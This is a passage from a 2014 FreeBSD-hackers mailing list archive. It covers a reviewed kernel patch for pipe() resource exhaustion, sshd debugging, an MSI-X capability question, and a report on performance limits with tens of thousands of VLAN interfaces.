1xLms4Yec/HqRf5s2McsncY1IWNFcbDU8nxl4NHIKGDrVA606CSKcCDkeTXRUOJ+ wpMtNsgjRsk+AJ3ArTA1tl72Kqqdx+DZmIAqjptcnIZKzkg3m+mj5jFvHD4dxhfr QD7ZYZabYxTT+RkKj8qkMqvMEnZG0G0X9wUA7LGxnem3DihBArak1Q6Hs+6c00wh muoLMqAOdd0K4X8tMn+5 =Xnmi -----END PGP SIGNATURE----- --Fv4aQf9orjE3TOVF-- From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 9 11:26:37 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4E235908 for ; Wed, 9 Apr 2014 11:26:37 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id CA244191D for ; Wed, 9 Apr 2014 11:26:36 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s39BQRdF060806; Wed, 9 Apr 2014 14:26:27 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s39BQRdF060806 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s39BQRow060805; Wed, 9 Apr 2014 14:26:27 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Wed, 9 Apr 2014 14:26:27 +0300 From: Konstantin Belousov To: Mateusz Guzik Subject: Re: pipe() resource exhaustion Message-ID: <20140409112627.GI21331@kib.kiev.ua> References: <20140408130206.e75f3bf6c6df28b6e4839e70@yahoo.es> <20140408121222.GB30326@dft-labs.eu> <20140408123827.GW21331@kib.kiev.ua> <20140408130727.GA11363@dft-labs.eu> <20140408132442.GZ21331@kib.kiev.ua> <20140409111654.GA17650@dft-labs.eu> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="R7RSAOS08SfIpCMC" Content-Disposition: inline In-Reply-To: <20140409111654.GA17650@dft-labs.eu> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org, Eduardo Morras X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Apr 2014 11:26:37 -0000 --R7RSAOS08SfIpCMC Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Apr 09, 2014 at 01:16:54PM +0200, Mateusz Guzik wrote: > That said how about the following: Looks fine to me, with one note about the comment. See below. >=20 > diff --git a/sys/fs/fifofs/fifo_vnops.c b/sys/fs/fifofs/fifo_vnops.c > index d3eb281..a3e8179 100644 > --- a/sys/fs/fifofs/fifo_vnops.c > +++ b/sys/fs/fifofs/fifo_vnops.c > @@ -146,9 +146,7 @@ fifo_open(ap) > if (fp =3D=3D NULL || (ap->a_mode & FEXEC) !=3D 0) > return (EINVAL); > if ((fip =3D vp->v_fifoinfo) =3D=3D NULL) { > - error =3D pipe_named_ctor(&fpipe, td); > - if (error !=3D 0) > - return (error); > + pipe_named_ctor(&fpipe, td); > fip =3D malloc(sizeof(*fip), M_VNODE, M_WAITOK); > fip->fi_pipe =3D fpipe; > fpipe->pipe_wgen =3D fip->fi_readers =3D fip->fi_writers =3D 0; > diff --git a/sys/kern/sys_pipe.c b/sys/kern/sys_pipe.c > index 6ba52e3..b0a1f0d 100644 > --- a/sys/kern/sys_pipe.c > +++ b/sys/kern/sys_pipe.c > @@ -221,8 +221,8 @@ SYSCTL_INT(_kern_ipc, OID_AUTO, piperesizeallowed, CT= LFLAG_RW, > static void pipeinit(void *dummy __unused); > static void pipeclose(struct pipe *cpipe); > static void pipe_free_kmem(struct pipe *cpipe); > -static int pipe_create(struct pipe *pipe, int backing); > -static int pipe_paircreate(struct thread *td, struct pipepair **p_pp); > +static void pipe_create(struct pipe *pipe, int backing); > +static void pipe_paircreate(struct thread *td, struct pipepair **p_pp); > static __inline int pipelock(struct pipe *cpipe, int catch); > static __inline void pipeunlock(struct pipe *cpipe); > #ifndef PIPE_NODIRECT > @@ -331,12 +331,11 @@ pipe_zone_fini(void *mem, int size) > mtx_destroy(&pp->pp_mtx); > } > =20 > -static int > +static void > pipe_paircreate(struct thread *td, struct pipepair **p_pp) > { > struct pipepair *pp; > struct pipe *rpipe, *wpipe; > - int error; > =20 > *p_pp =3D pp =3D uma_zalloc(pipe_zone, M_WAITOK); > #ifdef MAC > @@ -355,30 +354,21 @@ pipe_paircreate(struct thread *td, struct pipepair = **p_pp) > knlist_init_mtx(&wpipe->pipe_sel.si_note, PIPE_MTX(wpipe)); > =20 > /* Only the forward direction pipe is backed by default */ > - if ((error =3D pipe_create(rpipe, 1)) !=3D 0 || > - (error =3D pipe_create(wpipe, 0)) !=3D 0) { > - pipeclose(rpipe); > - pipeclose(wpipe); > - return (error); > - } > + pipe_create(rpipe, 1); > + pipe_create(wpipe, 0); > =20 > rpipe->pipe_state |=3D PIPE_DIRECTOK; > wpipe->pipe_state |=3D PIPE_DIRECTOK; > - return (0); > } > =20 > -int > +void > pipe_named_ctor(struct pipe **ppipe, struct thread *td) > { > struct pipepair *pp; > - int error; > =20 > - error =3D pipe_paircreate(td, &pp); > - if (error !=3D 0) > - return (error); > + pipe_paircreate(td, &pp); > pp->pp_rpipe.pipe_state |=3D PIPE_NAMED; > *ppipe =3D &pp->pp_rpipe; > - return (0); > } > =20 > void > @@ -419,9 +409,7 @@ kern_pipe2(struct thread *td, int fildes[2], int flag= s) > int fd, fflags, error; > =20 > fdp =3D td->td_proc->p_fd; > - error =3D pipe_paircreate(td, &pp); > - if (error !=3D 0) > - return (error); > + pipe_paircreate(td, &pp); > rpipe =3D &pp->pp_rpipe; > wpipe =3D &pp->pp_wpipe; > error =3D falloc(td, &rf, &fd, flags); > @@ -642,24 +630,25 @@ pipeselwakeup(cpipe) > * Initialize and allocate VM and memory for pipe. The structure > * will start out zero'd from the ctor, so we just manage the kmem. > */ > -static int > +static void > pipe_create(pipe, backing) > struct pipe *pipe; > int backing; > { > - int error; > =20 > if (backing) { > + /* > + * Note that these functions can fail, but we ignore > + * the error as it is not fatal and could be provoked > + * by users. > + */ It would be benefitial to add some more details on the way to provoke the failure. Note in the comment that creating too much pipes would exhaust pipe map and we fall back to the buffer pipe creation there, which still work correctly, albeit slow. > if (amountpipekva > maxpipekva / 2) > - error =3D pipespace_new(pipe, SMALL_PIPE_SIZE); > + (void)pipespace_new(pipe, SMALL_PIPE_SIZE); > else > - error =3D pipespace_new(pipe, PIPE_SIZE); > - } else { > - /* If we're not backing this pipe, no need to do anything. */ > - error =3D 0; > + (void)pipespace_new(pipe, PIPE_SIZE); > } > + > pipe->pipe_ino =3D -1; > - return (error); > } > =20 > /* ARGSUSED */ > diff --git a/sys/sys/pipe.h b/sys/sys/pipe.h > index dfe7f2f..ee7c128 100644 > --- a/sys/sys/pipe.h > +++ b/sys/sys/pipe.h > @@ -142,6 +142,6 @@ struct pipepair { > #define PIPE_LOCK_ASSERT(pipe, type) mtx_assert(PIPE_MTX(pipe), (type)) > =20 > void pipe_dtor(struct pipe *dpipe); > -int pipe_named_ctor(struct pipe **ppipe, struct thread *td); > +void pipe_named_ctor(struct pipe **ppipe, struct thread *td); > void pipeselwakeup(struct pipe *cpipe); > #endif /* !_SYS_PIPE_H_ */ --R7RSAOS08SfIpCMC Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTRS5iAAoJEJDCuSvBvK1BQAYP/3o3nngqzNSaQGCvEcYc5DDr TXXy2d7dRWDYaBZM1q3SmyMSPxiDY9ZNpitbAwoy2a8VSARclS2mf4m6K+F01pxy 1Lbh7apAe2XBHRxb5jw4qsls0HQe8Y7bD3i528A0U/hJOKbc93IPfqwOrV9ij9FY d0ey6Z0OWbIPJhWwfC2u3fez7xhJBzPf+V1h0qdfHffxqbNBYySA8b6TL8qCynyD zWf+W5hk1kwd22vnOkcuxCflwHmz3yU5BgAxjhH++gwyyzA1CV3PVP8ajZSea4Zt T2gFfu9ghNDGeJYh3+nKi5x45ypMw6HcE13ExsvYzMo0mK3V1PtI2pxtd7l7sKKQ vRMYyL0oJ003ublkXaB7ViDlR4cyszTux3rdJqcwL+6tmFtrQDE/VUBMW+yxPV++ A7pjIoE70dlY5UqNDViF5BgjZ53/Ve6Ej4C0NQqNzy5XacdG9/gEvf2gK1IwmAl/ x/WUM9gKevSXYDhX7rDZiMaoZX9lNk0M03aAZ+QTc1weVEJkJQgktwo3vEZ7qs5y 6gcdZ0MLq7+w8EMz47E2jadetB/2yFhyN7PU6kmB5uNsP1aF5Q2GxdQznuGXQZzK g5PzL+IpX3SLcumnsL3OtOQyV/Vw3dEaet34htUkol4zl29CwHUz9zHnBtrhK5+G i2vjRvfqZ2P/mj91mh6S =F3VI -----END PGP SIGNATURE----- --R7RSAOS08SfIpCMC-- From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 9 11:40:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C988DDA4 for ; Wed, 9 Apr 2014 11:40:02 +0000 (UTC) Received: from mail-we0-x22a.google.com (mail-we0-x22a.google.com [IPv6:2a00:1450:400c:c03::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 5BE251A3F for ; Wed, 9 Apr 2014 11:40:02 +0000 (UTC) Received: by mail-we0-f170.google.com with SMTP id w61so2351808wes.1 for ; Wed, 09 Apr 2014 04:40:00 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mail-followup-to:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; bh=t+Y7bSHAKem51e3WgJzK0ZUXzVm0qe1UhIB2syoUofY=; b=wHfNG1YSrU3lOVyxj483L+eGBVXu/vIgB/rXLrZdYnovgTT51b2ewpZ6BA2Q6Ti7FC IHeTnfDlu0eS0OJIpIkpJYwNECQRsgvtLhMD3uzU5MtAHD1nSGcoZDjBxwR8GJX9/F5E Q8acBDgz2MN+nBABaqFu1+BIak1/vFDrGqElDh22EpToV1PxMW9oX5JczORBJdhrcIk1 1l5vahuNF8ItWqOGpAH0eJQElIoZFDPTjWjwirSNuXHUmaJTV/gfxGQogFFws0twQnus 9rLSWe/LEI29DySknN97r8Mwz2kVFPQuu5Lkli0ZFPqRRFRWg18Q2EqZb80IMYOi0M5M 0XBg== X-Received: by 10.180.19.130 with SMTP id f2mr36971333wie.6.1397043600616; Wed, 09 Apr 2014 04:40:00 -0700 (PDT) Received: from dft-labs.eu (n1x0n-1-pt.tunnel.tserv5.lon1.ipv6.he.net. [2001:470:1f08:1f7::2]) by mx.google.com with ESMTPSA id b4sm9558232wic.0.2014.04.09.04.39.59 for (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Wed, 09 Apr 2014 04:39:59 -0700 (PDT) Date: Wed, 9 Apr 2014 13:39:57 +0200 From: Mateusz Guzik To: Konstantin Belousov Subject: Re: pipe() resource exhaustion Message-ID: <20140409113957.GB17650@dft-labs.eu> Mail-Followup-To: Mateusz Guzik , Konstantin Belousov , Eduardo Morras , freebsd-hackers@freebsd.org References: <20140408130206.e75f3bf6c6df28b6e4839e70@yahoo.es> <20140408121222.GB30326@dft-labs.eu> <20140408123827.GW21331@kib.kiev.ua> <20140408130727.GA11363@dft-labs.eu> <20140408132442.GZ21331@kib.kiev.ua> <20140409111654.GA17650@dft-labs.eu> <20140409112627.GI21331@kib.kiev.ua> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <20140409112627.GI21331@kib.kiev.ua> User-Agent: Mutt/1.5.21 (2010-09-15) Cc: freebsd-hackers@freebsd.org, Eduardo Morras X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Apr 2014 11:40:02 -0000 On Wed, Apr 09, 2014 at 02:26:27PM +0300, Konstantin Belousov wrote: > > if (backing) { > > + /* > > + * Note that these functions can fail, but we ignore > > + * the error as it is not fatal and could be provoked > > + * by users. > > + */ > It would be benefitial to add some more details on the way to provoke the > failure. Note in the comment that creating too much pipes would exhaust > pipe map and we fall back to the buffer pipe creation there, which still > work correctly, albeit slow. > How about: Note that these functions can fail if pipe map is exhausted (as a result of too many pipes created), but we ignore the error as it is not fatal and could be provoked by unprivileged users. The only consequence is worse performance with given pipe. -- Mateusz Guzik From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 9 11:41:36 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A4EE0EA1 for ; Wed, 9 Apr 2014 11:41:36 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 2B12C1ACA for ; Wed, 9 Apr 2014 11:41:35 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s39BfVU3064068; Wed, 9 Apr 2014 14:41:31 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s39BfVU3064068 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s39BfVDp064067; Wed, 9 Apr 2014 14:41:31 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Wed, 9 Apr 2014 14:41:31 +0300 From: Konstantin Belousov To: Mateusz Guzik Subject: Re: pipe() resource exhaustion Message-ID: <20140409114131.GJ21331@kib.kiev.ua> References: <20140408130206.e75f3bf6c6df28b6e4839e70@yahoo.es> <20140408121222.GB30326@dft-labs.eu> <20140408123827.GW21331@kib.kiev.ua> <20140408130727.GA11363@dft-labs.eu> <20140408132442.GZ21331@kib.kiev.ua> <20140409111654.GA17650@dft-labs.eu> <20140409112627.GI21331@kib.kiev.ua> <20140409113957.GB17650@dft-labs.eu> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="djsmrO0QNMuttZWM" Content-Disposition: inline In-Reply-To: <20140409113957.GB17650@dft-labs.eu> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org, Eduardo Morras X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Apr 2014 11:41:36 -0000 --djsmrO0QNMuttZWM Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Apr 09, 2014 at 01:39:57PM +0200, Mateusz Guzik wrote: > On Wed, Apr 09, 2014 at 02:26:27PM +0300, Konstantin Belousov wrote: > > > if (backing) { > > > + /* > > > + * Note that these functions can fail, but we ignore > > > + * the error as it is not fatal and could be provoked > > > + * by users. > > > + */ > > It would be benefitial to add some more details on the way to provoke t= he > > failure. Note in the comment that creating too much pipes would exhaust > > pipe map and we fall back to the buffer pipe creation there, which still > > work correctly, albeit slow. > >=20 >=20 > How about: >=20 > Note that these functions can fail if pipe map is exhausted (as a result > of too many pipes created), but we ignore the error as it is not fatal > and could be provoked by unprivileged users. The only consequence is worse > performance with given pipe. Ok. --djsmrO0QNMuttZWM Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTRTHrAAoJEJDCuSvBvK1BUkgP/RaaBpu0dswBiovm8tSnA+ZD 32Cfms82IaJnY/X30JqYNIUyQT7uUMDo1yI6Ij1bnC/dJBbSrjIlUud6gBJebXbA 28qUUmZ100lhKj9y+Zt9dGpRXP11atuX9VgboqTpeE/e3S6Al1oSbKu0qPNh1Ggt Cdbe1to1/heDxNcCLVOqlmfSnnfMtsTF5wicnmSdnbt839IBCRpVgndm8ErvCrW2 VVFATL+Z4Qwnk3rhlfnDJncF3fLZGF8ayPQRBtI3jo3O/fR5ETqidsvu1Fq3gOFS u7qNXcMk3c/zvRPu7pc6ZVTu5Up3HkZ+iJtJo8nBw+DofnfFzi3mEHJJqjw/lFaS 7SpHaSUaGzFSdmG7irWmG19yV4a49STu7+3n7wyJMcqI6djf/NUaytjjSArqnsIk rLTuv5CC3PwfNckGaq3SRLo+KKOyExb9qeBm8xypXoL0u1L+dcB7jW37ItUwEkgV ifdPDQSW+OmPIStvufyF077LIppxAoYU8wgiyvrV5r3+qQofKVI15CLhbw6yAEEt g8jw3mWohzS0WcMZRfJK65MZ1K0xATgpAYDlWpe49AR7PZRCPfpXdym0bNpG72SY uPlK/9HZrGw6dqS7EQ2DIEN7qkwd13J8nFuGXJ75dO0ee5oFqMyQv5hzcz1hUfoB 3FyJeiyzfrYSf0vcnOnD =0/Fo -----END PGP SIGNATURE----- --djsmrO0QNMuttZWM-- From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 9 14:30:46 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A8448A3A; Wed, 9 Apr 2014 14:30:46 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id 4A8D31DFC; Wed, 9 Apr 2014 14:30:46 +0000 (UTC) Received: from Mail-PC.tdx.co.uk (storm.tdx.co.uk [62.13.130.251]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s39EUiDB081555 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Apr 2014 15:30:44 +0100 (BST) Date: Wed, 09 Apr 2014 15:30:44 +0100 From: Karl Pielorz To: Konstantin Belousov Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <851413886E3982D2CCFEA9D9@Mail-PC.tdx.co.uk> In-Reply-To: <20140409111917.GH21331@kib.kiev.ua> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <20140408164353.GB21331@kib.kiev.ua> <277FA3F7B4E7A98921F4D631@study64.tdx.co.uk> <201404081533.53990.jhb@freebsd.org> <92366925229B4C5B21B04D81@study64.tdx.co.uk> <20140408212319.GC21331@kib.kiev.ua> <20140409084951.GE21331@kib.kiev.ua> <2A722BB3B12E0D80CA9FF075@Mail-PC.tdx.co.uk> <20140409111917.GH21331@kib.kiev.ua> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Apr 2014 14:30:46 -0000 --On 09 April 2014 14:19 +0300 Konstantin Belousov wrote: > It is still mostly nonsensical, due to bad and missing debugging > information. > > First, my patch seems to be buggy, I miscalculated the offsets of the > saved registers. Hopefully, improved version is at the end of the > message. Also, I suspect that there is a mismatch between installed and > built rtld. Please do the clean build with DEBUG_FLAGS=-g and patch > applied and install (again with DEBUG_FLAGS=-g). > > Second, the debugging information in your libthr.so.3 is partial. > Could you, please rebuild it and install with DEBUG_FLAGS=-g from > the clean state ? > > Also, please rebuild you pam installation with '-g'. > > After this is done, reproduce the issue and take the backtrace once more. > Sorry, but the current backtrace is not useful. Ok, I tried all the above - I now get a minimal backtrace :( I have an identical 'clone' of this system (with the same issue) - is there something I can put in '/etc/make.conf' and rebuild the world [with your patch] with debug stuff enabled everywhere, on that clone? It may be easier to rebuild with debug on everything, install it all, and reproduce the issue (knowing debug is on everywhere). I can do that leaving the other copy of this machine 'as-is'. Also, if we're doing that is it worth turning off optimisation's? (If so, how?) -Karl From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 9 17:21:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8AE4842B for ; Wed, 9 Apr 2014 17:21:13 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 64253152F for ; Wed, 9 Apr 2014 17:21:13 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 56063B992; Wed, 9 Apr 2014 13:21:12 -0400 (EDT) From: John Baldwin To: freebsd-hackers@freebsd.org Subject: Re: Overlapping MSI-X table and PBA Date: Wed, 9 Apr 2014 12:10:44 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201404091210.44521.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Wed, 09 Apr 2014 13:21:12 -0400 (EDT) Cc: Ryan Stone X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Apr 2014 17:21:13 -0000 On Tuesday, April 08, 2014 4:13:13 pm Ryan Stone wrote: > I have a (prototype) PCIe device that shows the following in pciconf -lc: > > cap 11[70] = MSI-X supports 5 messages > Table in map 0x1c[0x0], PBA in map 0x1c[0x0] > > This is completely bogus, right? I don't see how the MSI-X table > can't occupy the same offset in the same BAR as the PBA (certainly the > datasheet for this device says that they should have different > offsets). Yeah, that's bogus. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 9 21:14:37 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 80B0D62D for ; Wed, 9 Apr 2014 21:14:37 +0000 (UTC) Received: from frv191.fwdcdn.com (frv191.fwdcdn.com [212.42.77.191]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 3BCB41150 for ; Wed, 9 Apr 2014 21:14:36 +0000 (UTC) Received: from [10.10.1.30] (helo=frv196.fwdcdn.com) by frv191.fwdcdn.com with esmtp ID 1WXzpE-000JMs-0L for hackers@freebsd.org; Thu, 10 Apr 2014 00:14:28 +0300 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=ukr.net; s=ffe; h=Content-Transfer-Encoding:Content-Type:MIME-Version:Message-Id:Cc:To:Subject:From:Date; bh=jupy+tg9D/Jim0E+jNBnR/vdasU7Y2pUFqWwqwTMwIA=; b=tVtoGNSYa2camIT1t5S9ojhVodMOmxpl+NILOYNUcu3ShlBhRlmirZEXH9MaEO2xilwnrS2Xhw5KlWuXtOyd0EIItIeBMnAsxBK3SSkGotgxD4FPYxX51BRyTqQ0sTglu4UwYedApa68N+y2SZE89xmWdRdPGZbbAUhQGURvoUQ=; Received: from [10.10.10.35] (helo=frv35.fwdcdn.com) by frv196.fwdcdn.com with smtp ID 1WXzow-000Gry-DM for hackers@freebsd.org; Thu, 10 Apr 2014 00:14:10 +0300 Date: Thu, 10 Apr 2014 00:14:10 +0300 From: Vladislav Prodan Subject: Some gruesome moments with performance of FreeBSD at over 20K interfaces To: stable@freebsd.org X-Mailer: mail.ukr.net 5.0 Message-Id: <1397077963.756961709.gspkmzvd@frv35.fwdcdn.com> MIME-Version: 1.0 Received: from universite@ukr.net by frv35.fwdcdn.com; Thu, 10 Apr 2014 00:14:10 +0300 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: binary Content-Disposition: inline Cc: hackers@freebsd.org, net@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Apr 2014 21:14:37 -0000 Dear Colleagues! I had a task, using FreeBSD 10.0-STABLE: 1) Receive 20-30 Q-in-Q VLAN (IEEE 802.1ad ), inside of which 2k-4k vlan (IEEE 802.1Q). Total ~60K vlan 2) To every vlan interface assign ipv4 and ipv6 addresses, define routes to ipv4 and ipv6 addresses on another side of vlan (ip unnumbered), and also prescribe ipv6 network /64 by size through ipv6 address on another side of vlan. 3) Perform routing from the world to all of these ipv4/ipv6 addresses и ipv6 networks inside ~60K vlan To accomplish the 1st task I have no alternatives to using Netgraph. I noticed incorrect behavior of ngctl(8) after addition of 560th vlan (bin/187835) Than speed of addition 4k, 8k, 12k vlans was damnably slow: 10 minutes for first 4k vlans 18 minutes for first 5k vlans 28 minutes for first 6k vlans 52 minutes for first 8k vlans Than I added more 4Đş vlans 20 minutes - 9500 vlans 33 minutes - 10500 vlans 58 minutes - 12Đş vlans In total speed of addition of 4k, 8k, 12k vlans was subsequently 10m/52m/110m It’s hard to imagine, how many time is needed to add ~60K vlan :( Process was accelerated a little by shooting off devd, bsnmpd, ntpd services, but it found another problems and limitations. For example, a) Service ntpd refuse to start at 12K interfaces: ntpd[2195]: Too many sockets in use, FD_SETSIZE 16384 exceeded I remind, that in files /usr/src/sys/sys/select.h and /usr/include/sys/select.h FD_SETSIZE value is only 1024U b) Service bsnmpd started at 12K interfaces, but immediately loaded CPU at 80-100% last pid: 64011; load averages: 1.00, 0.97, 0.90 up 0+05:25:39 21:26:36 58 processes: 3 running, 54 sleeping, 1 waiting CPU: 68.2% user, 0.0% nice, 30.6% system, 1.2% interrupt, 0.0% idle Mem: 125M Active, 66M Inact, 435M Wired, 200K Cache, 525M Free ARC: 66M Total, 28M MFU, 36M MRU, 16K Anon, 614K Header, 2035K Other Swap: 1024M Total, 1024M Free PID USERNAME THR PRI NICE SIZE RES STATE TIME WCPU COMMAND 63863 root 1 96 0 136M 119M RUN 35:31 79.98% bsnmpd ... c) Size of fields during output of command netstat(1) - netstat -inW is unsufficient (bin/188153) d) If indicate in command netstat of interface it’s impossible to understand, which ipv4/ipv6 neworks are indicated here. # netstat -I ngeth123.223 -nW Name Mtu Network Address Ipkts Ierrs Idrop Opkts Oerrs Coll ngeth12 1500 08:00:27:cd:9b:8e 0 0 0 1 5 0 ngeth12 - 172.18.206.13 172.18.206.139 0 - - 0 - - ngeth12 - fe80::a00:27f fe80::a00:27ff:fe 0 - - 1 - - ngeth12 - 2001:570:28:1 2001:570:28:140:: 0 - - 0 - - e) Very low output of command arp: # ngctl list | grep ngeth | wc -l 12003 # ifconfig -a | egrep -e 'inet ' | wc -l 12007 # time /usr/sbin/arp -na > /dev/null 150.661u 551.002s 11:53.71 98.3% 20+172k 1+0io 0pf+0w More info at http://freebsd.1045724.n5.nabble.com/arp-8-performance-use-if-nameindex-instead-of-if-indextoname-td5898205.html After using of 